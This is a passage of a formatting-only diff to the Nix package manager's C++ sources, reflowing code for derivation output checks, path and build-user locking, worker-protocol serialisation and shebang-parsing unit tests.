-2954,7 +2980,8 @@ void LocalDerivationGoal::checkOutputs(const std::map *checks.maxSize) - throw BuildError("path '%s' is too large at %d bytes; limit is %d bytes", - worker.store.printStorePath(info.path), info.narSize, *checks.maxSize); + throw BuildError( + "path '%s' is too large at %d bytes; limit is %d bytes", + worker.store.printStorePath(info.path), + info.narSize, + *checks.maxSize); if (checks.maxClosureSize) { uint64_t closureSize = getClosure(info.path).second; if (closureSize > *checks.maxClosureSize) - throw BuildError("closure of path '%s' is too large at %d bytes; limit is %d bytes", - worker.store.printStorePath(info.path), closureSize, *checks.maxClosureSize); + throw BuildError( + "closure of path '%s' is too large at %d bytes; limit is %d bytes", + worker.store.printStorePath(info.path), + closureSize, + *checks.maxClosureSize); } - auto checkRefs = [&](const StringSet & value, bool allowed, bool recursive) - { + auto checkRefs = [&](const StringSet & value, bool allowed, bool recursive) { /* Parse a list of reference specifiers. Each element must either be a store path, or the symbolic name of the output of the derivation (such as `out'). */ @@ -2997,16 +3028,19 @@ void LocalDerivationGoal::checkOutputs(const std::mappath); else { - std::string outputsListing = concatMapStringsSep(", ", outputs, [](auto & o) { return o.first; }); - throw BuildError("derivation '%s' output check for '%s' contains an illegal reference specifier '%s'," + std::string outputsListing = + concatMapStringsSep(", ", outputs, [](auto & o) { return o.first; }); + throw BuildError( + "derivation '%s' output check for '%s' contains an illegal reference specifier '%s'," " expected store path or output name (one of [%s])", - worker.store.printStorePath(drvPath), outputName, i, outputsListing); + worker.store.printStorePath(drvPath), + outputName, + i, + outputsListing); } } - auto used = recursive - ? getClosure(info.path).first - : info.references; + auto used = recursive ? getClosure(info.path).first : info.references; if (recursive && checks.ignoreSelfRefs) used.erase(info.path); @@ -3028,8 +3062,10 @@ void LocalDerivationGoal::checkOutputs(const std::map & checksPerOutput) { - if (auto outputChecks = get(checksPerOutput, outputName)) + std::visit( + overloaded{ + [&](const DerivationOptions::OutputChecks & checks) { applyChecks(checks); }, + [&](const std::map & checksPerOutput) { + if (auto outputChecks = get(checksPerOutput, outputName)) - applyChecks(*outputChecks); + applyChecks(*outputChecks); + }, }, - }, drvOptions->outputChecks); + drvOptions->outputChecks); } } - void LocalDerivationGoal::deleteTmpDir(bool force) { if (topTmpDir != "") { @@ -3075,35 +3110,32 @@ void LocalDerivationGoal::deleteTmpDir(bool force) printError("note: keeping build directory '%s'", tmpDir); chmod(topTmpDir.c_str(), 0755); chmod(tmpDir.c_str(), 0755); - } - else + } else deletePath(topTmpDir); topTmpDir = ""; tmpDir = ""; } } - bool LocalDerivationGoal::isReadDesc(int fd) { - return (hook && DerivationGoal::isReadDesc(fd)) || - (!hook && fd == builderOut.get()); + return (hook && DerivationGoal::isReadDesc(fd)) || (!hook && fd == builderOut.get()); } - StorePath LocalDerivationGoal::makeFallbackPath(OutputNameView outputName) { // This is a bogus path type, constructed this way to ensure that it doesn't collide with any other store path // See doc/manual/source/protocols/store-path.md for details - // TODO: We may want to separate the responsibilities of constructing the path fingerprint and of actually doing the hashing + // TODO: We may want to separate the responsibilities of constructing the path fingerprint and of actually doing the + // hashing auto pathType = "rewrite:" + std::string(drvPath.to_string()) + ":name:" + std::string(outputName); return worker.store.makeStorePath( pathType, // pass an all-zeroes hash - Hash(HashAlgorithm::SHA256), outputPathName(drv->name, outputName)); + Hash(HashAlgorithm::SHA256), + outputPathName(drv->name, outputName)); } - StorePath LocalDerivationGoal::makeFallbackPath(const StorePath & path) { // This is a bogus path type, constructed this way to ensure that it doesn't collide with any other store path @@ -3112,8 +3144,8 @@ StorePath LocalDerivationGoal::makeFallbackPath(const StorePath & path) return worker.store.makeStorePath( pathType, // pass an all-zeroes hash - Hash(HashAlgorithm::SHA256), path.name()); + Hash(HashAlgorithm::SHA256), + path.name()); } - } diff --git a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh index 36aaa7857..9e87b57b9 100644 --- a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh +++ b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh @@ -10,17 +10,17 @@ namespace nix { * constructor variant. */ std::shared_ptr makeLocalDerivationGoal( - const StorePath & drvPath, - const OutputsSpec & wantedOutputs, Worker & worker, - BuildMode buildMode = bmNormal); + const StorePath & drvPath, const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode = bmNormal); /** * Create a local derivation goal, see `DerivationGoal` for info on each * constructor variant. */ std::shared_ptr makeLocalDerivationGoal( - const StorePath & drvPath, const BasicDerivation & drv, - const OutputsSpec & wantedOutputs, Worker & worker, + const StorePath & drvPath, + const BasicDerivation & drv, + const OutputsSpec & wantedOutputs, + Worker & worker, BuildMode buildMode = bmNormal); } diff --git a/src/libstore/unix/include/nix/store/user-lock.hh b/src/libstore/unix/include/nix/store/user-lock.hh index a7caf8518..1bf03f5c6 100644 --- a/src/libstore/unix/include/nix/store/user-lock.hh +++ b/src/libstore/unix/include/nix/store/user-lock.hh @@ -9,7 +9,7 @@ namespace nix { struct UserLock { - virtual ~UserLock() { } + virtual ~UserLock() {} /** * Get the first and last UID. diff --git a/src/libstore/unix/pathlocks.cc b/src/libstore/unix/pathlocks.cc index 58d047f4e..aed013c3a 100644 --- a/src/libstore/unix/pathlocks.cc +++ b/src/libstore/unix/pathlocks.cc @@ -11,7 +11,6 @@ #include #include - namespace nix { AutoCloseFD openLockFile(const Path & path, bool create) @@ -25,7 +24,6 @@ AutoCloseFD openLockFile(const Path & path, bool create) return fd; } - void deleteLockFile(const Path & path, Descriptor desc) { /* Get rid of the lock file. Have to be careful not to introduce @@ -38,14 +36,17 @@ void deleteLockFile(const Path & path, Descriptor desc) file is an optimisation, not a necessity. */ } - bool lockFile(Descriptor desc, LockType lockType, bool wait) { int type; - if (lockType == ltRead) type = LOCK_SH; - else if (lockType == ltWrite) type = LOCK_EX; - else if (lockType == ltNone) type = LOCK_UN; - else unreachable(); + if (lockType == ltRead) + type = LOCK_SH; + else if (lockType == ltWrite) + type = LOCK_EX; + else if (lockType == ltNone) + type = LOCK_UN; + else + unreachable(); if (wait) { while (flock(desc, type) != 0) { @@ -58,7 +59,8 @@ bool lockFile(Descriptor desc, LockType lockType, bool wait) } else { while (flock(desc, type | LOCK_NB) != 0) { checkInterrupt(); - if (errno == EWOULDBLOCK) return false; + if (errno == EWOULDBLOCK) + return false; if (errno != EINTR) throw SysError("acquiring/releasing lock"); } @@ -67,9 +69,7 @@ bool lockFile(Descriptor desc, LockType lockType, bool wait) return true; } - -bool PathLocks::lockPaths(const PathSet & paths, - const std::string & waitMsg, bool wait) +bool PathLocks::lockPaths(const PathSet & paths, const std::string & waitMsg, bool wait) { assert(fds.empty()); @@ -95,7 +95,8 @@ bool PathLocks::lockPaths(const PathSet & paths, /* Acquire an exclusive lock. */ if (!lockFile(fd.get(), ltWrite, false)) { if (wait) { - if (waitMsg != "") printError(waitMsg); + if (waitMsg != "") + printError(waitMsg); lockFile(fd.get(), ltWrite, true); } else { /* Failed to lock this path; release all other @@ -129,16 +130,14 @@ bool PathLocks::lockPaths(const PathSet & paths, return true; } - void PathLocks::unlock() { for (auto & i : fds) { - if (deletePaths) deleteLockFile(i.second, i.first); + if (deletePaths) + deleteLockFile(i.second, i.first); if (close(i.first) == -1) - printError( - "error (ignored): cannot close lock file on '%1%'", - i.second); + printError("error (ignored): cannot close lock file on '%1%'", i.second); debug("lock released on '%1%'", i.second); } @@ -146,7 +145,6 @@ void PathLocks::unlock() fds.clear(); } - FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg) : desc(desc) { @@ -159,5 +157,4 @@ FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view w acquired = lockFile(desc, lockType, false); } - } diff --git a/src/libstore/unix/user-lock.cc b/src/libstore/unix/user-lock.cc index 2bee277f9..de5bce990 100644 --- a/src/libstore/unix/user-lock.cc +++ b/src/libstore/unix/user-lock.cc @@ -12,12 +12,12 @@ namespace nix { #ifdef __linux__ -static std::vector get_group_list(const char *username, gid_t group_id) +static std::vector get_group_list(const char * username, gid_t group_id) { std::vector gids; gids.resize(32); // Initial guess - auto getgroupl_failed {[&] { + auto getgroupl_failed{[&] { int ngroups = gids.size(); int err = getgrouplist(username, group_id, gids.data(), &ngroups); gids.resize(ngroups); @@ -34,7 +34,6 @@ static std::vector get_group_list(const char *username, gid_t group_id) } #endif - struct SimpleUserLock : UserLock { AutoCloseFD fdUserLock; @@ -42,11 +41,25 @@ struct SimpleUserLock : UserLock gid_t gid; std::vector supplementaryGIDs; - uid_t getUID() override { assert(uid); return uid; } - uid_t getUIDCount() override { return 1; } - gid_t getGID() override { assert(gid); return gid; } + uid_t getUID() override + { + assert(uid); + return uid; + } + uid_t getUIDCount() override + { + return 1; + } + gid_t getGID() override + { + assert(gid); + return gid; + } - std::vector getSupplementaryGIDs() override { return supplementaryGIDs; } + std::vector getSupplementaryGIDs() override + { + return supplementaryGIDs; + } static std::unique_ptr acquire() { @@ -60,7 +73,7 @@ struct SimpleUserLock : UserLock /* Copy the result of getgrnam. */ Strings users; - for (char * * p = gr->gr_mem; *p; ++p) { + for (char ** p = gr->gr_mem; *p; ++p) { debug("found build user '%s'", *p); users.push_back(*p); } @@ -77,7 +90,7 @@ struct SimpleUserLock : UserLock if (!pw) throw Error("the user '%s' in the group '%s' does not exist", i, settings.buildUsersGroup); - auto fnUserLock = fmt("%s/userpool/%s", settings.nixStateDir,pw->pw_uid); + auto fnUserLock = fmt("%s/userpool/%s", settings.nixStateDir, pw->pw_uid); AutoCloseFD fd = open(fnUserLock.c_str(), O_RDWR | O_CREAT | O_CLOEXEC, 0600); if (!fd) @@ -94,7 +107,7 @@ struct SimpleUserLock : UserLock if (lock->uid == getuid() || lock->uid == geteuid()) throw Error("the Nix user should not be a member of '%s'", settings.buildUsersGroup); - #ifdef __linux__ +#ifdef __linux__ /* Get the list of supplementary groups of this user. This is * usually either empty or contains a group such as "kvm". */ @@ -103,7 +116,7 @@ struct SimpleUserLock : UserLock if (gid != lock->gid) lock->supplementaryGIDs.push_back(gid); } - #endif +#endif return lock; } @@ -120,19 +133,33 @@ struct AutoUserLock : UserLock gid_t firstGid = 0; uid_t nrIds = 1; - uid_t getUID() override { assert(firstUid); return firstUid; } + uid_t getUID() override + { + assert(firstUid); + return firstUid; + } - gid_t getUIDCount() override { return nrIds; } + gid_t getUIDCount() override + { + return nrIds; + } - gid_t getGID() override { assert(firstGid); return firstGid; } + gid_t getGID() override + { + assert(firstGid); + return firstGid; + } - std::vector getSupplementaryGIDs() override { return {}; } + std::vector getSupplementaryGIDs() override + { + return {}; + } static std::unique_ptr acquire(uid_t nrIds, bool useUserNamespace) { - #if !defined(__linux__) +#if !defined(__linux__) useUserNamespace = false; - #endif +#endif experimentalFeatureSettings.require(Xp::AutoAllocateUids); assert(settings.startId > 0); @@ -171,7 +198,8 @@ struct AutoUserLock : UserLock else { struct group * gr = getgrnam(settings.buildUsersGroup.get().c_str()); if (!gr) - throw Error("the group '%s' specified in 'build-users-group' does not exist", settings.buildUsersGroup); + throw Error( + "the group '%s' specified in 'build-users-group' does not exist", settings.buildUsersGroup); lock->firstGid = gr->gr_gid; } lock->nrIds = nrIds; @@ -193,15 +221,15 @@ std::unique_ptr acquireUserLock(uid_t nrIds, bool useUserNamespace) bool useBuildUsers() { - #ifdef __linux__ +#ifdef __linux__ static bool b = (settings.buildUsersGroup != "" || settings.autoAllocateUids) && isRootUser(); return b; - #elif defined(__APPLE__) +#elif defined(__APPLE__) static bool b = settings.buildUsersGroup != "" && isRootUser(); return b; - #else +#else return false; - #endif +#endif } } diff --git a/src/libstore/worker-protocol.cc b/src/libstore/worker-protocol.cc index 21b21a347..1c7eb5603 100644 --- a/src/libstore/worker-protocol.cc +++ b/src/libstore/worker-protocol.cc @@ -18,14 +18,19 @@ BuildMode WorkerProto::Serialise::read(const StoreDirConfig & store, { auto temp = readNum(conn.from); switch (temp) { - case 0: return bmNormal; - case 1: return bmRepair; - case 2: return bmCheck; - default: throw Error("Invalid build mode"); + case 0: + return bmNormal; + case 1: + return bmRepair; + case 2: + return bmCheck; + default: + throw Error("Invalid build mode"); } } -void WorkerProto::Serialise::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const BuildMode & buildMode) +void WorkerProto::Serialise::write( + const StoreDirConfig & store, WorkerProto::WriteConn conn, const BuildMode & buildMode) { switch (buildMode) { case bmNormal: @@ -42,22 +47,24 @@ void WorkerProto::Serialise::write(const StoreDirConfig & store, Work }; } -std::optional WorkerProto::Serialise>::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +std::optional +WorkerProto::Serialise>::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) { auto temp = readNum(conn.from); switch (temp) { - case 0: - return std::nullopt; - case 1: - return { Trusted }; - case 2: - return { NotTrusted }; - default: - throw Error("Invalid trusted status from remote"); + case 0: + return std::nullopt; + case 1: + return {Trusted}; + case 2: + return {NotTrusted}; + default: + throw Error("Invalid trusted status from remote"); } } -void WorkerProto::Serialise>::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const std::optional & optTrusted) +void WorkerProto::Serialise>::write( + const StoreDirConfig & store, WorkerProto::WriteConn conn, const std::optional & optTrusted) { if (!optTrusted) conn.to << uint8_t{0}; @@ -75,32 +82,32 @@ void WorkerProto::Serialise>::write(const StoreDirCon } } - -std::optional WorkerProto::Serialise>::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +std::optional WorkerProto::Serialise>::read( + const StoreDirConfig & store, WorkerProto::ReadConn conn) { auto tag = readNum(conn.from); switch (tag) { - case 0: - return std::nullopt; - case 1: - return std::optional{std::chrono::microseconds(readNum(conn.from))}; - default: - throw Error("Invalid optional tag from remote"); + case 0: + return std::nullopt; + case 1: + return std::optional{std::chrono::microseconds(readNum(conn.from))}; + default: + throw Error("Invalid optional tag from remote"); } } -void WorkerProto::Serialise>::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const std::optional & optDuration) +void WorkerProto::Serialise>::write( + const StoreDirConfig & store, + WorkerProto::WriteConn conn, + const std::optional & optDuration) { if (!optDuration.has_value()) { conn.to << uint8_t{0}; } else { - conn.to - << uint8_t{1} - << optDuration.value().count(); + conn.to << uint8_t{1} << optDuration.value().count(); } } - DerivedPath WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) { auto s = readString(conn.from); @@ -111,58 +118,57 @@ DerivedPath WorkerProto::Serialise::read(const StoreDirConfig & sto } } -void WorkerProto::Serialise::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const DerivedPath & req) +void WorkerProto::Serialise::write( + const StoreDirConfig & store, WorkerProto::WriteConn conn, const DerivedPath & req) { if (GET_PROTOCOL_MINOR(conn.version) >= 30) { conn.to << req.to_string_legacy(store); } else { auto sOrDrvPath = StorePathWithOutputs::tryFromDerivedPath(req); - std::visit(overloaded { - [&](const StorePathWithOutputs & s) { - conn.to << s.to_string(store); + std::visit( + overloaded{ + [&](const StorePathWithOutputs & s) { conn.to << s.to_string(store); }, + [&](const StorePath & drvPath) { + throw Error( + "trying to request '%s', but daemon protocol %d.%d is too old (< 1.29) to request a derivation file", + store.printStorePath(drvPath), + GET_PROTOCOL_MAJOR(conn.version), + GET_PROTOCOL_MINOR(conn.version)); + }, + [&](std::monostate) { + throw Error( + "wanted to build a derivation that is itself a build product, but protocols do not support that. Try upgrading the Nix on the other end of this connection"); + }, }, - [&](const StorePath & drvPath) { - throw Error("trying to request '%s', but daemon protocol %d.%d is too old (< 1.29) to request a derivation file", - store.printStorePath(drvPath), - GET_PROTOCOL_MAJOR(conn.version), - GET_PROTOCOL_MINOR(conn.version)); - }, - [&](std::monostate) { - throw Error("wanted to build a derivation that is itself a build product, but protocols do not support that. Try upgrading the Nix on the other end of this connection"); - }, - }, sOrDrvPath); + sOrDrvPath); } } - -KeyedBuildResult WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +KeyedBuildResult +WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) { auto path = WorkerProto::Serialise::read(store, conn); auto br = WorkerProto::Serialise::read(store, conn); - return KeyedBuildResult { + return KeyedBuildResult{ std::move(br), /* .path = */ std::move(path), }; } -void WorkerProto::Serialise::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const KeyedBuildResult & res) +void WorkerProto::Serialise::write( + const StoreDirConfig & store, WorkerProto::WriteConn conn, const KeyedBuildResult & res) { WorkerProto::write(store, conn, res.path); WorkerProto::write(store, conn, static_cast(res)); } - BuildResult WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) { BuildResult res; res.status = static_cast(readInt(conn.from)); conn.from >> res.errorMsg; if (GET_PROTOCOL_MINOR(conn.version) >= 29) { - conn.from - >> res.timesBuilt - >> res.isNonDeterministic - >> res.startTime - >> res.stopTime; + conn.from >> res.timesBuilt >> res.isNonDeterministic >> res.startTime >> res.stopTime; } if (GET_PROTOCOL_MINOR(conn.version) >= 37) { res.cpuUser = WorkerProto::Serialise>::read(store, conn); @@ -171,24 +177,17 @@ BuildResult WorkerProto::Serialise::read(const StoreDirConfig & sto if (GET_PROTOCOL_MINOR(conn.version) >= 28) { auto builtOutputs = WorkerProto::Serialise::read(store, conn); for (auto && [output, realisation] : builtOutputs) - res.builtOutputs.insert_or_assign( - std::move(output.outputName), - std::move(realisation)); + res.builtOutputs.insert_or_assign(std::move(output.outputName), std::move(realisation)); } return res; } -void WorkerProto::Serialise::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const BuildResult & res) +void WorkerProto::Serialise::write( + const StoreDirConfig & store, WorkerProto::WriteConn conn, const BuildResult & res) { - conn.to - << res.status - << res.errorMsg; + conn.to << res.status << res.errorMsg; if (GET_PROTOCOL_MINOR(conn.version) >= 29) { - conn.to - << res.timesBuilt - << res.isNonDeterministic - << res.startTime - << res.stopTime; + conn.to << res.timesBuilt << res.isNonDeterministic << res.startTime << res.stopTime; } if (GET_PROTOCOL_MINOR(conn.version) >= 37) { WorkerProto::write(store, conn, res.cpuUser); @@ -202,29 +201,29 @@ void WorkerProto::Serialise::write(const StoreDirConfig & store, Wo } } - ValidPathInfo WorkerProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) { auto path = WorkerProto::Serialise::read(store, conn); - return ValidPathInfo { + return ValidPathInfo{ std::move(path), WorkerProto::Serialise::read(store, conn), }; } -void WorkerProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const ValidPathInfo & pathInfo) +void WorkerProto::Serialise::write( + const StoreDirConfig & store, WriteConn conn, const ValidPathInfo & pathInfo) { WorkerProto::write(store, conn, pathInfo.path); WorkerProto::write(store, conn, static_cast(pathInfo)); } - UnkeyedValidPathInfo WorkerProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) { auto deriver = readString(conn.from); auto narHash = Hash::parseAny(readString(conn.from), HashAlgorithm::SHA256); UnkeyedValidPathInfo info(narHash); - if (deriver != "") info.deriver = store.parseStorePath(deriver); + if (deriver != "") + info.deriver = store.parseStorePath(deriver); info.references = WorkerProto::Serialise::read(store, conn); conn.from >> info.registrationTime >> info.narSize; if (GET_PROTOCOL_MINOR(conn.version) >= 16) { @@ -235,23 +234,20 @@ UnkeyedValidPathInfo WorkerProto::Serialise::read(const St return info; } -void WorkerProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const UnkeyedValidPathInfo & pathInfo) +void WorkerProto::Serialise::write( + const StoreDirConfig & store, WriteConn conn, const UnkeyedValidPathInfo & pathInfo) { - conn.to - << (pathInfo.deriver ? store.printStorePath(*pathInfo.deriver) : "") - << pathInfo.narHash.to_string(HashFormat::Base16, false); + conn.to << (pathInfo.deriver ? store.printStorePath(*pathInfo.deriver) : "") + << pathInfo.narHash.to_string(HashFormat::Base16, false); WorkerProto::write(store, conn, pathInfo.references); conn.to << pathInfo.registrationTime << pathInfo.narSize; if (GET_PROTOCOL_MINOR(conn.version) >= 16) { - conn.to - << pathInfo.ultimate - << pathInfo.sigs - << renderContentAddress(pathInfo.ca); + conn.to << pathInfo.ultimate << pathInfo.sigs << renderContentAddress(pathInfo.ca); } } - -WorkerProto::ClientHandshakeInfo WorkerProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) +WorkerProto::ClientHandshakeInfo +WorkerProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) { WorkerProto::ClientHandshakeInfo res; @@ -260,7 +256,7 @@ WorkerProto::ClientHandshakeInfo WorkerProto::Serialise= 35) { - res.remoteTrustsUs = WorkerProto::Serialise>::read(store, conn); + res.remoteTrustsUs = WorkerProto::Serialise>::read(store, conn); } else { // We don't know the answer; protocol to old. res.remoteTrustsUs = std::nullopt; @@ -269,7 +265,8 @@ WorkerProto::ClientHandshakeInfo WorkerProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const WorkerProto::ClientHandshakeInfo & info) +void WorkerProto::Serialise::write( + const StoreDirConfig & store, WriteConn conn, const WorkerProto::ClientHandshakeInfo & info) { if (GET_PROTOCOL_MINOR(conn.version) >= 33) { assert(info.daemonNixVersion); diff --git a/src/libutil-c/nix_api_util_internal.h b/src/libutil-c/nix_api_util_internal.h index 8fbf3d91a..664cd6e23 100644 --- a/src/libutil-c/nix_api_util_internal.h +++ b/src/libutil-c/nix_api_util_internal.h @@ -32,18 +32,18 @@ nix_err nix_context_error(nix_c_context * context); */ nix_err call_nix_get_string_callback(const std::string str, nix_get_string_callback callback, void * user_data); -#define NIXC_CATCH_ERRS \ - catch (...) \ - { \ +#define NIXC_CATCH_ERRS \ + catch (...) \ + { \ return nix_context_error(context); \ - } \ + } \ return NIX_OK; -#define NIXC_CATCH_ERRS_RES(def) \ - catch (...) \ - { \ +#define NIXC_CATCH_ERRS_RES(def) \ + catch (...) \ + { \ nix_context_error(context); \ - return def; \ + return def; \ } #define NIXC_CATCH_ERRS_NULL NIXC_CATCH_ERRS_RES(nullptr) diff --git a/src/libutil-test-support/hash.cc b/src/libutil-test-support/hash.cc index d047f4073..69ade948c 100644 --- a/src/libutil-test-support/hash.cc +++ b/src/libutil-test-support/hash.cc @@ -12,16 +12,14 @@ using namespace nix; Gen Arbitrary::arbitrary() { Hash prototype(HashAlgorithm::SHA1); - return - gen::apply( - [](const std::vector & v) { - Hash hash(HashAlgorithm::SHA1); - assert(v.size() == hash.hashSize); - std::copy(v.begin(), v.end(), hash.hash); - return hash; - }, - gen::container>(prototype.hashSize, gen::arbitrary()) - ); + return gen::apply( + [](const std::vector & v) { + Hash hash(HashAlgorithm::SHA1); + assert(v.size() == hash.hashSize); + std::copy(v.begin(), v.end(), hash.hash); + return hash; + }, + gen::container>(prototype.hashSize, gen::arbitrary())); } } diff --git a/src/libutil-test-support/include/nix/util/tests/characterization.hh b/src/libutil-test-support/include/nix/util/tests/characterization.hh index 3e8effe8b..7c7db6131 100644 --- a/src/libutil-test-support/include/nix/util/tests/characterization.hh +++ b/src/libutil-test-support/include/nix/util/tests/characterization.hh @@ -13,7 +13,8 @@ namespace nix { * The path to the unit test data directory. See the contributing guide * in the manual for further details. */ -static inline std::filesystem::path getUnitTestData() { +static inline std::filesystem::path getUnitTestData() +{ return getEnv("_NIX_TEST_UNIT_DATA").value(); } @@ -22,7 +23,8 @@ static inline std::filesystem::path getUnitTestData() { * against them. See the contributing guide in the manual for further * details. */ -static inline bool testAccept() { +static inline bool testAccept() +{ return getEnv("_NIX_TEST_ACCEPT") == "1"; } @@ -49,15 +51,9 @@ public: { auto file = goldenMaster(testStem); - if (testAccept()) - { - GTEST_SKIP() - << "Cannot read golden master " - << file - << "because another test is also updating it"; - } - else - { + if (testAccept()) { + GTEST_SKIP() << "Cannot read golden master " << file << "because another test is also updating it"; + } else { test(readFile(file)); } } @@ -68,23 +64,17 @@ public: * @param test hook that produces contents of the file and does the * actual work */ - void writeTest( - PathView testStem, auto && test, auto && readFile2, auto && writeFile2) + void writeTest(PathView testStem, auto && test, auto && readFile2, auto && writeFile2) { auto file = goldenMaster(testStem); auto got = test(); - if (testAccept()) - { + if (testAccept()) { std::filesystem::create_directories(file.parent_path()); writeFile2(file, got); - GTEST_SKIP() - << "Updating golden master " - << file; - } - else - { + GTEST_SKIP() << "Updating golden master " << file; + } else { decltype(got) expected = readFile2(file); ASSERT_EQ(got, expected); } @@ -96,13 +86,10 @@ public: void writeTest(PathView testStem, auto && test) { writeTest( - testStem, test, - [](const std::filesystem::path & f) -> std::string { - return readFile(f); - }, - [](const std::filesystem::path & f, const std::string & c) { - return writeFile(f, c); - }); + testStem, + test, + [](const std::filesystem::path & f) -> std::string { return readFile(f); }, + [](const std::filesystem::path & f, const std::string & c) { return writeFile(f, c); }); } }; diff --git a/src/libutil-test-support/include/nix/util/tests/hash.hh b/src/libutil-test-support/include/nix/util/tests/hash.hh index de832c12f..c479ad153 100644 --- a/src/libutil-test-support/include/nix/util/tests/hash.hh +++ b/src/libutil-test-support/include/nix/util/tests/hash.hh @@ -9,7 +9,8 @@ namespace rc { using namespace nix; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; diff --git a/src/libutil-tests/args.cc b/src/libutil-tests/args.cc index f5ad43a55..63cd5dcec 100644 --- a/src/libutil-tests/args.cc +++ b/src/libutil-tests/args.cc @@ -7,97 +7,110 @@ namespace nix { - TEST(parseShebangContent, basic) { - std::list r = parseShebangContent("hi there"); - ASSERT_EQ(r.size(), 2u); - auto i = r.begin(); - ASSERT_EQ(*i++, "hi"); - ASSERT_EQ(*i++, "there"); - } +TEST(parseShebangContent, basic) +{ + std::list r = parseShebangContent("hi there"); + ASSERT_EQ(r.size(), 2u); + auto i = r.begin(); + ASSERT_EQ(*i++, "hi"); + ASSERT_EQ(*i++, "there"); +} - TEST(parseShebangContent, empty) { - std::list r = parseShebangContent(""); - ASSERT_EQ(r.size(), 0u); - } +TEST(parseShebangContent, empty) +{ + std::list r = parseShebangContent(""); + ASSERT_EQ(r.size(), 0u); +} - TEST(parseShebangContent, doubleBacktick) { - std::list r = parseShebangContent("``\"ain't that nice\"``"); - ASSERT_EQ(r.size(), 1u); - auto i = r.begin(); - ASSERT_EQ(*i++, "\"ain't that nice\""); - } +TEST(parseShebangContent, doubleBacktick) +{ + std::list r = parseShebangContent("``\"ain't that nice\"``"); + ASSERT_EQ(r.size(), 1u); + auto i = r.begin(); + ASSERT_EQ(*i++, "\"ain't that nice\""); +} - TEST(parseShebangContent, doubleBacktickEmpty) { - std::list r = parseShebangContent("````"); - ASSERT_EQ(r.size(), 1u); - auto i = r.begin(); - ASSERT_EQ(*i++, ""); - } +TEST(parseShebangContent, doubleBacktickEmpty) +{ + std::list r = parseShebangContent("````"); + ASSERT_EQ(r.size(), 1u); + auto i = r.begin(); + ASSERT_EQ(*i++, ""); +} - TEST(parseShebangContent, doubleBacktickMarkdownInlineCode) { - std::list r = parseShebangContent("``# I'm markdown section about `coolFunction` ``"); - ASSERT_EQ(r.size(), 1u); - auto i = r.begin(); - ASSERT_EQ(*i++, "# I'm markdown section about `coolFunction`"); - } +TEST(parseShebangContent, doubleBacktickMarkdownInlineCode) +{ + std::list r = parseShebangContent("``# I'm markdown section about `coolFunction` ``"); + ASSERT_EQ(r.size(), 1u); + auto i = r.begin(); + ASSERT_EQ(*i++, "# I'm markdown section about `coolFunction`"); +} - TEST(parseShebangContent, doubleBacktickMarkdownCodeBlockNaive) { - std::list r = parseShebangContent("``Example 1\n```nix\na: a\n``` ``"); - auto i = r.begin(); - ASSERT_EQ(r.size(), 1u); - ASSERT_EQ(*i++, "Example 1\n``nix\na: a\n``"); - } +TEST(parseShebangContent, doubleBacktickMarkdownCodeBlockNaive) +{ + std::list r = parseShebangContent("``Example 1\n```nix\na: a\n``` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1u); + ASSERT_EQ(*i++, "Example 1\n``nix\na: a\n``"); +} - TEST(parseShebangContent, doubleBacktickMarkdownCodeBlockCorrect) { - std::list r = parseShebangContent("``Example 1\n````nix\na: a\n```` ``"); - auto i = r.begin(); - ASSERT_EQ(r.size(), 1u); - ASSERT_EQ(*i++, "Example 1\n```nix\na: a\n```"); - } +TEST(parseShebangContent, doubleBacktickMarkdownCodeBlockCorrect) +{ + std::list r = parseShebangContent("``Example 1\n````nix\na: a\n```` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1u); + ASSERT_EQ(*i++, "Example 1\n```nix\na: a\n```"); +} - TEST(parseShebangContent, doubleBacktickMarkdownCodeBlock2) { - std::list r = parseShebangContent("``Example 1\n````nix\na: a\n````\nExample 2\n````nix\na: a\n```` ``"); - auto i = r.begin(); - ASSERT_EQ(r.size(), 1u); - ASSERT_EQ(*i++, "Example 1\n```nix\na: a\n```\nExample 2\n```nix\na: a\n```"); - } +TEST(parseShebangContent, doubleBacktickMarkdownCodeBlock2) +{ + std::list r = + parseShebangContent("``Example 1\n````nix\na: a\n````\nExample 2\n````nix\na: a\n```` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1u); + ASSERT_EQ(*i++, "Example 1\n```nix\na: a\n```\nExample 2\n```nix\na: a\n```"); +} - TEST(parseShebangContent, singleBacktickInDoubleBacktickQuotes) { - std::list r = parseShebangContent("``` ``"); - auto i = r.begin(); - ASSERT_EQ(r.size(), 1u); - ASSERT_EQ(*i++, "`"); - } +TEST(parseShebangContent, singleBacktickInDoubleBacktickQuotes) +{ + std::list r = parseShebangContent("``` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1u); + ASSERT_EQ(*i++, "`"); +} - TEST(parseShebangContent, singleBacktickAndSpaceInDoubleBacktickQuotes) { - std::list r = parseShebangContent("``` ``"); - auto i = r.begin(); - 